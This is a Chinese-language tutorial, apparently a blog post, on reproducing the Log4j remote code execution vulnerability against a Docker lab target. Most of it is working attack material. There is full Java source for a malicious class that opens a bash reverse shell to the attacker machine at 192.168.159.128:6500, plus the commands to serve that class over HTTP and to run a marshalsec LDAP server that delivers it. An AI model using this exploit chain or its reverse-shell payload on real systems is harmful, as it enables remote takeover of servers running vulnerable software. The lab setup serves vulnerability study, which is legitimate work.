Bootstrap

Log4J 漏洞复现

介绍:log4j是一个用Java编写的可靠,快速和灵活的日志框架(API),它在Apache软件许可下发布
log4j存在远程代码执行漏洞,通过lookup来触发漏洞详情参考
https://zhuanlan.zhihu.com/p/444140910

首先我们需要编写一个恶意的类然后编译成class文件

public class Exploit {
   public Exploit(){
       try{
           // 要执行的命令
           String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.159.128/6500;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

这个类的作用是将bash shell反弹到192.168.159.128的6500端口也就是我们的攻击机
然后使用命令javac 编译文件
在这里插入图片描述

在这个类的目录下开启一个http服务使其可以下载这个恶意类
python3 -m http.server 8010
然后用marshalsec IDAP服务,项目地址:https://github.com/mbechler/marshalsec

java -cp /Users/fengxuan/Downloads/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8010/#Exploit

在这里插入图片描述
成功反弹shell
在这里插入图片描述

靶机

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

;